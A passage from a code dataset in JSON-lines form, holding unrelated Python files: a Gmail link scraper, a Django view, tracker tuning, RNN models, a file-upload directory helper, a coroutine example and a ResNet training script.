self.emit('return', returnvalue)\n for attr in ['args', 'kwargs', 'namespace', 'interpreter']:\n try:\n delattr(self, attr)\n except AttributeError:\n continue\n gc.collect()\n\n def on_timeout(self):\n try:\n raise CommandTimeoutError('Command {} timed out after {:f} seconds'.format(self.name, self.timeout))\n except CommandTimeoutError as exc:\n self.emit('fail', exc, traceback.format_exc())\n self.cleanup(None)\n\n def on_pulse(self):\n return True\n\n def _connect_devices(self):\n for d in self.required_devices:\n dev = self.get_device(d)\n self._device_connections[d] = [\n dev.connect('variable-change', self.on_variable_change),\n dev.connect('error', self.on_error),\n dev.connect('disconnect', self.on_disconnect),\n ]\n if isinstance(dev, Motor):\n self._device_connections[d].extend([\n dev.connect('position-change', self.on_motor_position_change),\n dev.connect('stop', self.on_motor_stop)\n ])\n logger.debug('Connected required device {} for command {}'.format(d, self.name))\n\n def _disconnect_devices(self):\n for d in list(self._device_connections.keys()):\n dev = self.get_device(d)\n for c in self._device_connections[d]:\n dev.disconnect(c)\n del self._device_connections[d]\n self._device_connections = {}\n\n def on_variable_change(self, device, variablename, newvalue):\n return False\n\n def on_error(self, device, variablename, exc, tb):\n \"\"\"Emit the 'fail' signal\"\"\"\n self.emit('fail', exc, tb)\n return False\n\n def on_disconnect(self, device, because_of_failure):\n \"\"\"Emit a fail signal.\"\"\"\n self.emit('fail', CommandError(\n 'Sudden disconnect of device ' + device.name), 'no traceback')\n return False\n\n def on_motor_position_change(self, motor, newposition):\n return False\n\n def on_motor_stop(self, motor, targetreached):\n return False\n\n def idle_return(self, value):\n \"\"\"Convenience function to schedule an idle function to return.\"\"\"\n if self._returning:\n return\n self._returning = True\n logger.debug('Instantiating an Idle function')\n SingleIdleFunction(self.cleanup, value)\n\n @classmethod\n def allcommands(cls):\n all_commands = []\n subclasses = cls.__subclasses__()\n while True:\n all_commands.extend(\n [s for s in subclasses if not (s.name.startswith('_'))])\n newsubclasses = []\n for sc in [x for x in [c.__subclasses__()\n for c in subclasses] if x]:\n newsubclasses.extend(sc)\n subclasses = newsubclasses\n if not subclasses:\n break\n del subclasses\n return all_commands\n\n @classmethod\n def __str__(cls):\n return cls.name\n\n def do_return(self, retval):\n logger.debug('Returning from command {} with value {}'.format(self.name, retval))\n\n\ndef cleanup_commandline(commandline):\n \"\"\"Clean up the commandline: remove trailing spaces and comments\"\"\"\n\n commandline = commandline.strip() # remove trailing whitespace\n instring = None\n for i in range(len(commandline)):\n if commandline[i] in ['\"', \"'\"]:\n if instring == commandline[i]:\n instring = None\n elif instring is None:\n instring = commandline[i]\n if (commandline[i] == '#') and (instring is None):\n return commandline[:i].strip()\n if instring is not None:\n raise ValueError('Unterminated string in command line', commandline)\n return commandline.strip()\n","sub_path":"cct/core/commands/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":17535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"364624470","text":"from django.shortcuts import render\n\ndef home(request):\n\n questionBase = \"hello\"\n question1 = \"you\"\n question2 = \"and you\"\n answer1 = \"yo\"\n answer2 = \"and yo\"\n nextPage = \"\"\n prevPage = \"\"\n\n\n return render(request,\"questionAnswerButtons.html\", {\"questionBase\":questionBase, \"question1\":question1, \"question2\":question2, \"answer1\":answer1, \"answer2\":answer2})\n\ndef experiment(request):\n return render(request,\"questionAnswer.html\")","sub_path":"gcsebiology/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"516839413","text":"import re\nimport json\nimport base64\nimport quopri\nimport logging\nimport requests\nimport urlparse\n\nfrom models import Track\n\nlogger = logging.getLogger(__name__)\n\nfrom social.apps.django_app.default.models import UserSocialAuth\n\ndef scrape_gmail(google_social_auth_id, start, end):\n '''\n main function, fetches emails from gmail with\n different queries and processes results\n '''\n logger.info('Processing emails from %s to %s' % (start, end))\n google = UserSocialAuth.objects.get(pk=google_social_auth_id)\n\n all_emails = set()\n join_all_ids(all_emails, fetch_emails(google, start, end, 'youtube.com'))\n join_all_ids(all_emails, fetch_emails(google, start, end, 'youtu.be'))\n join_all_ids(all_emails, fetch_emails(google, start, end, 'soundcloud.com'))\n logger.info('Found %d distinct emails' % len(all_emails))\n fetch_youtube_video_ids(all_emails, google)\n logger.info('Scraping finished.')\n\ndef fetch_emails(google, start, end, query):\n '''\n does a query in gmail and returns message ids\n '''\n q = '%s after:%s before:%s' % (query, start, end)\n logger.debug('making request to gmail ' + q)\n email = google.uid\n access_token = google.extra_data['access_token']\n response = requests.get(\n 'https://www.googleapis.com/gmail/v1/users/%s/messages' % email,\n params={'access_token': access_token,'q': q}\n )\n if response.status_code == 200:\n data = json.loads(response.text)\n if 'resultSizeEstimate' in data and data['resultSizeEstimate'] == 0:\n return []\n elif 'messages' in data:\n return data['messages']\n else:\n message = \"no messages in %s\" % response.text\n logger.error(message)\n return []\n else:\n message = 'response %d %s' % (response.status_code, response.text)\n logger.error(message)\n return []\n\ndef fetch_youtube_video_ids(messages_ids, google):\n '''\n fetches email contents, looks for urls and processes urls\n '''\n access_token = google.extra_data['access_token']\n email = google.uid\n user = google.user\n\n logger.info('fetching email contents for ' + email)\n\n #save_urls = set()\n seen_urls = set()\n\n for message_id in messages_ids:\n logger.debug('fetching content for message %s' % message_id)\n response = requests.get(\n 'https://www.googleapis.com/gmail/v1/users/%s/messages/%s' % (email, message_id),\n params={'access_token': access_token,'format': 'raw'}\n )\n message = json.loads(response.text)\n message = base64.urlsafe_b64decode(message['raw'].encode('latin-1'))\n message = quopri.decodestring(message)\n regex = '(http|ftp|https)(://)([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?'\n urls = re.findall(regex, message)\n urls = map(lambda x : ''.join(x), urls)\n email_urls = set(urls)\n urls = email_urls - seen_urls\n logger.info('found %d distinct urls - %d new - in email %s' % (len(email_urls), len(urls), message_id))\n\n for url in urls:\n if url in seen_urls: continue\n seen_urls.add(url)\n\n reduced_url = reduce_url(url)\n final_url = url\n # This line unfurls the URL with a HEAD request that follows redirects\n logger.debug('original url %s' % reduced_url)\n try:\n response = requests.head(url, allow_redirects=True)\n except Exception as e:\n logger.warn('%s - %s' % (e, url))\n continue\n\n if response.status_code == 200:\n final_url = response.url # The response contains the unfurled URL\n if url != final_url:\n logger.debug('unfurled url ' + reduce_url(final_url))\n else:\n logger.info('status code %d for %s' %(response.status_code, url))\n\n if is_youtube(final_url) or is_soundcloud(final_url):\n logger.info('keeping %s from %s' % (reduced_url,message_id))\n #don't save, process immediately\n #save_urls.add(final_url)\n process_video_url(url, user)\n else:\n logger.debug('discarding ' + reduced_url)\n\n #logger.info('found %d interesting urls' % len(save_urls))\n #for url in save_urls:\n # process_video_url(url, user)\n\ndef process_video_url(url, user):\n '''\n process one url\n '''\n reduced_url = reduce_url(url)\n if is_youtube(url):\n fetch_video_info(url, user, 'http://www.youtube.com/oembed', 'youtube')\n elif is_soundcloud(url):\n fetch_video_info(url, user, 'http://soundcloud.com/oembed', 'soundcloud')\n else:\n logger.debug('ignoring %s' % reduced_url)\n\n\ndef fetch_video_info(url, user, embed_service_url, track_type):\n '''\n fetches the video info from youtube/soundcloud\n '''\n reduced_url = reduce_url(url)\n if Track.objects.filter(link=url,user_id=user.id).exists():\n logger.info('track already exists for user %s - %s' % (user, reduced_url))\n return\n\n logger.debug('getting info for %s video %s' % (track_type, reduced_url))\n track = True\n try:\n response = requests.get(embed_service_url, params={'url': url,'format': 'json'})\n except Exception as e:\n logger.error(e)\n return\n if response.status_code != 200:\n logger.warn('status code %d for %s' % (response.status_code, reduced_url))\n return\n\n data = json.loads(response.text)\n title = data['title'].encode('ascii','ignore') if 'title' in data else ''\n thumbnail = data['thumbnail_url'] if 'thumbnail_url' in data else ''\n author = data['author_name'] if 'author_url' in data else ''\n author_url = data['author_url'] if 'author_url' in data else ''\n html = data['html'] if 'html' in data else ''\n save_track_info(user, url, html, title, author, author_url, thumbnail, track_type)\n\ndef save_track_info(user, url, embed, title, author, author_url, thumbnail, track_type):\n '''\n saves the track info\n only if the video is not in the DB for that user\n '''\n reduced_url = reduce_url(url)\n if Track.objects.filter(link=url,user_id=user.id).exists():\n logger.info('track already exists for user %s - %s' % (user, reduced_url))\n else:\n logger.info('adding track for user %s - %s' % (user, reduced_url))\n track = Track(\\\n user_id=user.id, \\\n link=url, \\\n embed=embed,\\\n title=title, \\\n author=author, \\\n author_link=author_url, \\\n thumbnail=thumbnail, \\\n track_type=track_type)\n track.save()\n\n### HELPER FUNCS ###\ndef join_all_ids(all_emails, emails):\n all_emails.update(map(lambda x: x['id'], emails))\n\ndef reduce_url(url, length=64):\n if len(url) > length:\n url = url[:(length-3)] + '...'\n return url\n#TODO improve these filters\ndef is_youtube(url):\n return 'youtube' in url or 'youtu.be' in url\ndef is_soundcloud(url):\n return 'soundcloud' in url\n","sub_path":"gscrapweb/scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":7062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"154759893","text":"from __future__ import absolute_import\n\nimport os\nfrom got10k.experiments import *\n\nfrom siamfc import SiamFCTracker\nimport argparse\nimport multiprocessing\nmultiprocessing.set_start_method('spawn',True)\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\nfrom siamfc.utils import get_logger \nimport logging \nimport numpy as np \n\ndef parse_range(range_str):\n param = list(map(float, range_str.strip().split(',')))\n #return np.arange(*param)\n return np.array(param)\n\ndef parse_range_int(range_str):\n param = list(map(int, range_str.strip().split(',')))\n #return np.arange(*param)\n return np.array(param)\n\nlogger = get_logger('./models/logs/help_search.log')\n\nif __name__=='__main__':\n\n parser = argparse.ArgumentParser(description='siamrpn tracking')\n \n # best instance_size=271 lr_box=0.25 penalty_k=0.20 window_influence=0.40 效果最好 0.814(1) 0.603(1)\n \n parser.add_argument('--model_path', default='./models/siamfcres22_30.pth', type=str, help='eval one special video')\n \n parser.add_argument('--scale_lr',default='0.59', type=parse_range,help='lr_box')# \n parser.add_argument('--window_influence', default='0.126', type=parse_range,help='config file') \n parser.add_argument('--scale_penalty', default='0.9745', type=parse_range,help='snapshot of models to eval')\n parser.add_argument('--instance_size', default='255', type=parse_range_int, help='eval one special video')\n #parser.add_argument('--vis', action='store_true',help='whether visualzie result')\n \n args = parser.parse_args()\n # 默认\n cfg = {'scale_lr': 0.59, 'window_influence': 0.126, 'scale_penalty': 0.9745, 'instance_size': 255} # 0.65\n \n logger.info('start training!')\n logger.info(args.model_path)\n \n Sum=len(args.instance_size)*len(args.scale_lr)*len(args.scale_penalty)*len(args.window_influence)\n count=0\n\n max_prec,max_succ=0,0\n index_prec,index_succ=1,1\n \n for i in args.instance_size:\n cfg['instance_size']=i\n\n for l in args.scale_lr:\n cfg['scale_lr']=l\n\n for k in args.scale_penalty:\n cfg['scale_penalty']=k \n\n for w in args.window_influence:\n cfg['window_influence']=w\n\n count+=1\n\n tracker = SiamFCTracker(args.model_path,True,0,cfg)\n # root_dir = os.path.abspath('datasets/OTB')\n # e = ExperimentOTB(root_dir, version=2013)\n \n root_dir = os.path.abspath('datasets/OTB')\n e = ExperimentOTB(root_dir, version=2015)\n\n # root_dir = os.path.abspath('datasets/UAV123')\n # e = ExperimentUAV123(root_dir, version='UAV123')\n\n # root_dir = os.path.abspath('datasets/UAV123')\n # e = ExperimentUAV123(root_dir, version='UAV20L')\n\n # root_dir = os.path.abspath('datasets/DTB70')\n # e = ExperimentDTB70(root_dir)\n\n # root_dir = os.path.abspath('datasets/VOT2018') # VOT测试在评估阶段报错\n # e = ExperimentVOT(root_dir,version=2018,read_image=True, experiments=('supervised', 'unsupervised'))\n\n # root_dir = os.path.abspath('datasets/TColor128')\n # e = ExperimentTColor128(root_dir)\n\n # root_dir = os.path.abspath('datasets/Nfs')\n # e = ExperimentNfS(root_dir)\n\n # root_dir = os.path.abspath('datasets/LaSOT')\n # e = ExperimentLaSOT(root_dir)\n \n e.run(tracker,visualize=False)\n # print('model: %s instance_size: %d lr: %.3f penalty_k: %.3f, window_influence: %.2f' \\\n # %(model_path.split('/')[-1],i,l,k,w))\n logger.info('num:[{}/{}] instance_size={:d} lr_box={:.2f} penalty_k={:.2f} window_influence={:.2f}'.format(count,Sum,i,l,k,w))\n\n prec_score,succ_score,succ_rate= e.report([tracker.name])\n\n if float(prec_score)>max_prec:\n max_prec,index_prec=prec_score,count\n if float(succ_score)>max_succ:\n max_succ,index_succ=succ_score,count\n \n ss='max_prec:%.3f(%d) max_succ:%.3f(%d) -prec_score:%.3f -succ_score:%.3f -succ_rate:%.3f' % \\\n (max_prec,index_prec,max_succ,index_succ,float(prec_score),float(succ_score),float(succ_rate))\n logger.info(ss)\n ","sub_path":"SiamDW/SiamDW-FC/bin/hp_search.py","file_name":"hp_search.py","file_ext":"py","file_size_in_byte":4618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"164177722","text":"import pandas as pd\nimport numpy as np\nfrom neuralnet import *\n\n\nmod = TimeSeries()\n\ndf = mod.dataframe\n\n\ndef first_available_at(df):\n ''' PURPOSE: identify the first available data's stamp\n for all financial variables given\n RETURN: sorted series of variables and their stamps\n '''\n variables = []\n stamps = []\n for ind in df.columns:\n variables.append(ind)\n stamps.append(df[ind].dropna().index[0])\n\n result = pd.Series(data = stamps, index = variables)\n \n return result.sort_values()\n\n\nfirst = first_available_at(df)\n\n\ndef separate_dataset(df):\n first = first_available_at(df)\n\n stamps = list(first.unique())\n\n columns = []\n result= []\n \n for i in range(len(stamps)-1):\n start_stamp = stamps[i]\n for s in first.index:\n if ((first[s] == start_stamp) and (s not in columns)):\n columns.append(s)\n start_pos = list(df.index).index(start_stamp)\n selected_index = df.index[start_pos:]\n result.append(df.loc[selected_index][columns])\n return result\n\nsecond = separate_dataset(df)\n \nfor i in range(len(second)):\n if i == 0:\n second[i].to_csv('sub_datasets/1) start.csv')\n else:\n previous = second[i-1].columns\n current = second[i].columns\n f_name = str(i+1) + \") \"\n added = '-'.join(current.drop(current&previous))\n f_name = f_name + added + \" added.csv\"\n second[i].to_csv('sub_datasets/' + f_name)\n \n \n \n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"57633856","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nfrom apex import RNN\n\nclass RNNModel(nn.Module):\n \"\"\"Container module with an encoder, a recurrent module, and a decoder.\"\"\"\n\n def __init__(self, rnn_type, ntoken, ninp, nhid, nlayers, dropout=0.5, tie_weights=False):\n super(RNNModel, self).__init__()\n self.drop = nn.Dropout(dropout)\n self.encoder = nn.Embedding(ntoken, ninp)\n self.decoder = nn.Linear(nhid, ntoken)\n self.rnn=getattr(RNN, rnn_type)(ninp, nhid, nlayers, dropout=dropout)\n\n # Optionally tie weights as in:\n # \"Using the Output Embedding to Improve Language Models\" (Press & Wolf 2016)\n # https://arxiv.org/abs/1608.05859\n # and\n # \"Tying Word Vectors and Word Classifiers: A Loss Framework for Language Modeling\" (Inan et al. 2016)\n # https://arxiv.org/abs/1611.01462\n if tie_weights:\n if nhid != ninp:\n raise ValueError('When using the tied flag, nhid must be equal to emsize')\n self.decoder.weight = self.encoder.weight\n\n self.decoder.bias.data.fill_(0)\n self.rnn_type = rnn_type\n self.nhid = nhid\n self.nlayers = nlayers\n\n def forward(self, input, reset_mask=None):\n emb = self.drop(self.encoder(input))\n self.rnn.detach_hidden()\n output, hidden = self.rnn(emb, reset_mask=reset_mask)\n output = self.drop(output)\n decoded = self.decoder(output.view(output.size(0)*output.size(1), output.size(2)))\n return decoded.view(output.size(0), output.size(1), decoded.size(1)), hidden\n\n def state_dict(self, destination=None, prefix='', keep_vars=False):\n sd = {}\n sd['encoder'] = self.encoder.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n sd['rnn'] = self.rnn.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n sd = {'encoder': sd}\n sd['decoder'] = self.decoder.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n return sd\n\n def load_state_dict(self, state_dict, strict=True):\n if 'decoder' in state_dict:\n self.decoder.load_state_dict(state_dict['decoder'], strict=strict)\n self.encoder.load_state_dict(state_dict['encoder']['encoder'], strict=strict)\n self.rnn.load_state_dict(state_dict['encoder']['rnn'], strict=strict)\n\nclass RNNFeaturizer(nn.Module):\n \"\"\"Container module with an encoder, a recurrent module, and a decoder.\"\"\"\n\n def __init__(self, rnn_type, ntoken, ninp, nhid, nlayers, dropout=0.5, all_layers=False):\n super(RNNFeaturizer, self).__init__()\n self.drop = nn.Dropout(dropout)\n self.encoder = nn.Embedding(ntoken, ninp)\n self.rnn=getattr(RNN, rnn_type)(ninp, nhid, nlayers, dropout=dropout)\n\n self.rnn_type = rnn_type\n self.nhid = nhid\n self.nlayers = nlayers\n self.all_layers = all_layers\n self.output_size = self.nhid if not self.all_layers else self.nhid * self.nlayers\n\n def forward(self, input, seq_len=None):\n emb = self.drop(self.encoder(input))\n self.rnn.detach_hidden()\n output, hidden = self.rnn(emb, collectHidden=True)\n cell = hidden[1]\n if self.all_layers:\n cell = torch.cat(cell, -1)\n else:\n cell = cell[-1]\n if seq_len is not None:\n cell = cell[(seq_len-1).view(-1).contiguous(), torch.arange(cell.size(1)).long().cuda()]\n return cell\n\n def state_dict(self, destination=None, prefix='', keep_vars=False):\n sd = {}\n sd['encoder'] = self.encoder.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n sd['rnn'] = self.rnn.state_dict(destination=destination, prefix=prefix, keep_vars=keep_vars)\n return sd\n\n def load_state_dict(self, state_dict, strict=True):\n self.encoder.load_state_dict(state_dict['encoder'], strict=strict)\n self.rnn.load_state_dict(state_dict['rnn'], strict=strict)\n","sub_path":"model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"254018588","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n# @Time : 2017/8/10 9:14\r\n# @Author : wuchao\r\n# @Site : \r\n# @File : make_dirs.py\r\n# @Software: PyCharm\r\nimport os,platform,sys\r\nimport time,datetime\r\nfrom TAsys2.settings import BASE_DIR\r\nfrom TA02 import settings\r\nfrom TA02 import models\r\nimport shutil\r\n\r\nclass MkDirectory(object):\r\n def __init__(self,pro_obj,cus_obj_lists,fk,fv,tra_date):\r\n self.pro_obj = pro_obj\r\n self.cus_obj_lists = cus_obj_lists\r\n self.fk = fk\r\n self.fv = fv\r\n self.tra_date = tra_date\r\n\r\n def get_platform(self):\r\n os_platform = platform.system()\r\n return os_platform\r\n\r\n def transfer_files_mkd(self): #拼接并生成目录,存储文件到对应的目录\r\n plt = self.get_platform()\r\n if plt == 'Linux':\r\n #拼接linux下的路径\r\n base_fpath_linux = settings.BaseFilePath\r\n pro_name = self.pro_obj.product_full_name\r\n pro_code = self.pro_obj.product_code\r\n fpath1 = '/' + pro_name + pro_code\r\n pro_action = settings.linux_all_action_path['transfer']\r\n fpath2 = pro_action\r\n old_cus_obj = self.cus_obj_lists[0]\r\n old_cus_name = old_cus_obj.customer_name\r\n old_cus_code = old_cus_obj.customer_transaction_unique_code\r\n fpath3 = '/' + old_cus_name + old_cus_code\r\n fpath4 = '/' + self.tra_date\r\n fk = self.fk.replace('_','')\r\n fpath5 = '/' + fk\r\n file_name = self.fv.name\r\n # flag1 = False\r\n # while not flag1:\r\n f_path = ''\r\n\r\n all_paths = [base_fpath_linux,fpath1,fpath2,fpath3,fpath4,fpath5]\r\n for one_path in all_paths:\r\n\r\n f_path += one_path\r\n if not os.path.exists(f_path):\r\n # os.makedirs(f_path.encode('utf-8'))\r\n os.makedirs(f_path)\r\n # os.popen('mkdir -p %s'%f_path)\r\n # f_path += one_path + all_paths[num+1]\r\n\r\n else:\r\n # f_path += '/' + ''.join([pro_name,pro_code])\r\n # os.popen('cd %s',f_path)\r\n pass\r\n\r\n file_all_path = f_path + '/' + file_name\r\n #将文件写入并保存\r\n # file_all_path = file_all_path.encode(encoding='utf-8')\r\n # if not os.path.exists(file_all_path):\r\n if not os.listdir(f_path):\r\n pass\r\n else:\r\n for f_p1 in os.listdir(f_path):\r\n\r\n os.remove(f_path + '/' + f_p1)\r\n\r\n f = open(file_all_path, 'wb')\r\n for chunks in self.fv.chunks():\r\n f.write(chunks)\r\n f.close()\r\n\r\n return file_all_path #返回文件绝对路径\r\n\r\n # f = open(file_all_path, 'wb')\r\n # for chunks in self.fv.chunks():\r\n # f.write(chunks)\r\n # f.close()\r\n # return file_all_path # 返回文件绝对路径\r\n\r\n elif plt == 'Windows':\r\n\r\n #拼接windows下的文件路径\r\n base_fpath_win = BASE_DIR + '\\\\statics' + '\\\\upload'\r\n pro_name = self.pro_obj.product_full_name\r\n pro_code = self.pro_obj.product_code\r\n fpath1 = '\\\\' + pro_name + pro_code\r\n pro_action = settings.windows_all_action_path['transfer']\r\n fpath2 = pro_action\r\n old_cus_obj = self.cus_obj_lists[0]\r\n old_cus_name = old_cus_obj.customer_name\r\n old_cus_code = old_cus_obj.customer_transaction_unique_code\r\n fpath3 = '\\\\' + old_cus_name + old_cus_code\r\n fpath4 = '\\\\' + self.tra_date\r\n fk = self.fk.replace('_', '')\r\n fpath5 = '\\\\' + fk\r\n file_name = self.fv.name\r\n\r\n f_path = ''\r\n\r\n all_paths = [base_fpath_win, fpath1, fpath2, fpath3,fpath4,fpath5]\r\n\r\n for one_path in all_paths:\r\n\r\n f_path += one_path\r\n if not os.path.exists(f_path):\r\n os.makedirs(f_path)\r\n # mk_r = os.popen('mkdir %s'%f_path)\r\n # f_path += one_path + all_paths[num+1]\r\n\r\n else:\r\n # f_path += '/' + ''.join([pro_name,pro_code])\r\n # os.popen('cd %s',f_path)\r\n # print('目录已存在')\r\n pass\r\n file_all_path = f_path + '\\\\' + file_name\r\n\r\n # if not os.path.exists(f_path):\r\n if not os.listdir(f_path):\r\n print('f_path',f_path)\r\n # os.popen('cd %s',f_path)\r\n #将文件写入并保存\r\n pass\r\n else:\r\n for f_p1 in os.listdir(f_path):\r\n os.remove(f_path + '\\\\' + f_p1)\r\n print(11111)\r\n print(file_all_path)\r\n f = open(file_all_path, 'wb')\r\n for chunks in self.fv.chunks():\r\n f.write(chunks)\r\n f.close()\r\n\r\n return file_all_path\r\n # f = open(file_all_path, 'wb')\r\n # for chunks in self.fv.chunks():\r\n # f.write(chunks)\r\n # f.close()\r\n # return file_all_path\r\n else:\r\n exit()\r\n\r\n","sub_path":"TAsys2/utils/make_dirs.py","file_name":"make_dirs.py","file_ext":"py","file_size_in_byte":5344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"255969368","text":"import socket\nfrom typing import Callable, Generator, Tuple\nfrom selectors import DefaultSelector, SelectorKey, EVENT_READ, EVENT_WRITE\nfrom resource import getpagesize\n\n\nclass FutureException(Exception):\n pass\n\n\nBLOCK_SIZE = getpagesize()\nURL = 'xkcd.com'\nEOL = '\\r\\n'\nEOF = EOL * 2\n\n\nclass Future:\n def __init__(self):\n # результат выполнения future; изначально объект future в состоянии\n # ожидающего результата (pending)\n self._result = None\n\n # список функций обратного вызова, которые применяются к результату\n # объекта future\n self._callbacks = []\n\n def __next__(self):\n pass\n\n def __iter__(self):\n # сообщаем task восстановить объект future в этой точке\n yield self\n\n return self._result\n\n def add_done_callback(self, fn: Callable):\n # добавляем callback ф-ю fn в список функций, которые будут вызваны\n # после того, как future получит статус \"resolved\"\n self._callbacks.append(fn)\n\n def set_result(self, result):\n # ��ешение объекта future (future resolve)\n self._result = result\n\n callback_result = result\n\n for fn in self._callbacks:\n # применяем callback ф-и к результату future в том порядке, в\n # котором они были зарегестрированы\n callback_result = fn(callback_result)\n\n self._result = callback_result\n\n def result(self):\n if self._result is None:\n raise FutureException('Future is not resolved')\n\n return self._result\n\n def is_done(self):\n return self._result is None\n\n\nclass Task(Future):\n def __init__(self, coroutine: Generator):\n super().__init__()\n self.coroutine = coroutine\n future = Future()\n self.step(future)\n\n def step(self, future):\n try:\n next_future = self.coroutine.send(None)\n except StopIteration:\n return\n\n future.add_done_callback(next_future)\n\n\nclass Fetcher:\n def __init__(self, url: str, port: int):\n self.url = url\n self.port = port\n self.sock = None\n self.response = b''\n self.selector = DefaultSelector()\n\n def on_readable(self):\n data = self.sock.recv(BLOCK_SIZE)\n self.future.set_result(data)\n\n def read_all(self, sock: socket.SocketType):\n response = b''\n chunk = yield from self.read(sock)\n\n while chunk:\n chunk = yield from self.read(sock)\n response += chunk\n\n return b''.join(self.response)\n\n def read(self, sock: socket.SocketType):\n self.future = Future()\n self.selector.register(\n sock.fileno(), EVENT_READ, self.on_readable\n )\n chunk = yield self.future\n self.selector.unregister(sock.fileno())\n\n return chunk\n\n def fetch(self):\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setblocking(False)\n\n try:\n self.sock.connect((self.url, self.port))\n except BlockingIOError:\n pass\n\n request = str.format(\n 'GET {} HTTP/1.0{}Host: {}{}', self.url, EOL, self.url, EOF\n )\n self.sock.send(request.encode('ascii'))\n self.response = yield from self.read_all(self.sock)\n\n\ndef main():\n fetcher = Fetcher(URL, 80)\n Task(fetcher.fetch())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"core/builtin_features/coroutines/generator/app0_3.py","file_name":"app0_3.py","file_ext":"py","file_size_in_byte":3706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"402023783","text":"import torch\r\nfrom torch import optim,nn\r\nimport visdom\r\nimport torch\r\nfrom torch.utils.data import DataLoader\r\nimport os\r\nfrom Idpcdataset import IDPC\r\nfrom resnet import ResNet18\r\nimport torchsummary\r\nimport torch.optim as optim\r\nfrom torch.optim import lr_scheduler\r\n\r\n\r\n\r\n\r\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\r\nbatchsz =64\r\nlr = 1e-6\r\nepochs = 1000\r\n\r\ndevice = torch.device('cuda')\r\ntorch.manual_seed(1234) # 设置随机种子 \r\n\r\ntrain_db = IDPC('1023_all6/DVBS2ldpc_snr20', mode='train')\r\nval_db = IDPC('1023_all6/DVBS2ldpc_snr20',mode='val')\r\ntest_db = IDPC('1023_all6/DVBS2ldpc_snr20',mode='test')\r\ntrain_loader = DataLoader(train_db,batch_size=batchsz,shuffle=True,num_workers=4)\r\ntest_loader = DataLoader(test_db,batch_size=batchsz,num_workers=4)\r\nval_loader = DataLoader(val_db,batch_size=batchsz,num_workers=4)\r\n\r\ndef evalute(model,loader,mode='test',epoch =0):\r\n if mode =='test':\r\n model.eval()\r\n print('eval : ======================')\r\n eval_step = 0\r\n\r\n correct = 0\r\n total = len(loader.dataset)\r\n # x;[b,3,224,224] y=[b]\r\n for x, y in loader:\r\n x, y = x.to(device).float(), y.to(device)\r\n with torch.no_grad():\r\n logits = model(x)\r\n pred = logits.argmax(dim=1) ##??????\r\n correct += torch.eq(pred,y).sum().float().item()\r\n print('================eval done========================')\r\n return correct/total\r\n else:\r\n model.eval()\r\n print('eval : ======================')\r\n eval_step = 0\r\n\r\n correct = 0\r\n total = len(loader.dataset)\r\n # x;[b,3,224,224] y=[b]\r\n for x, y in loader:\r\n x, y = x.to(device).float(), y.to(device)\r\n with torch.no_grad():\r\n logits = model(x)\r\n pred = logits.argmax(dim=1) ##??????\r\n correct += torch.eq(pred, y).sum().float().item()\r\n print('epoch: ',epoch,' training acc: ',correct / total)\r\n\r\n\r\n'''\r\n\r\n #多块使用逗号隔开\r\n os.environ['CUDA_VISIBLE_DEVICES'] = '1'\r\n\r\n viz = visdom.Visdom()\r\n # db = torchvision.datasets.ImageFolder(root='pokeman',transform=tf)\r\n db = IDPC('/media/data1/ldpc/1023_all6/DVBS2ldpc_snr20', 'training')\r\n x, y = next(iter(db))\r\n\r\n print('sample:', x.shape, y.shape, y)\r\n # viz.signals(db.denormalize(x), win='sample_x', opts=dict(title='sample_x'))\r\n loader = DataLoader(db, batch_size=32, shuffle=True,\r\n num_workers=8) # number_worker 多线程\r\n'''\r\n\r\ndef main():\r\n viz = visdom.Visdom()\r\n model = ResNet18(3).to(device)\r\n model.load_state_dict(torch.load('best.mdl'))\r\n torchsummary.summary(model.cuda(), (1, 64800, 1))\r\n optimizer = optim.Adam(model.parameters(),lr=lr,weight_decay=0.01)\r\n criteon = nn.CrossEntropyLoss()\r\n scheduler = lr_scheduler.StepLR(optimizer, 100, 0.1) # # 每过10个epoch,学习率乘以0.1\r\n best_epoch,best_acc=0,0\r\n global_step = 0\r\n viz.line([0],[-1],win='loss',opts=dict(title='loss'))\r\n viz.line([0], [-1], win='val_acc', opts=dict(title='val_acc'))\r\n for epoch in range(epochs):\r\n print('epoch : ', epoch)\r\n scheduler.step()\r\n for step,(x,y) in enumerate(train_loader):\r\n # x;[b,3,224,224] y=[b]\r\n x,y = x.to(device).float(),y.to(device)\r\n logits = model(x)\r\n loss = criteon(logits,y)\r\n optimizer.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n viz.line([loss.item()], [global_step], win='loss', update='append')\r\n global_step += 1\r\n print('global_step:',global_step, 'loss',loss.item())\r\n if epoch %1==0:\r\n evalute(model, train_loader,mode='train',epoch=epoch)\r\n val_acc = evalute(model,val_loader)\r\n if val_acc>best_acc:\r\n best_epoch = epoch\r\n best_acc = 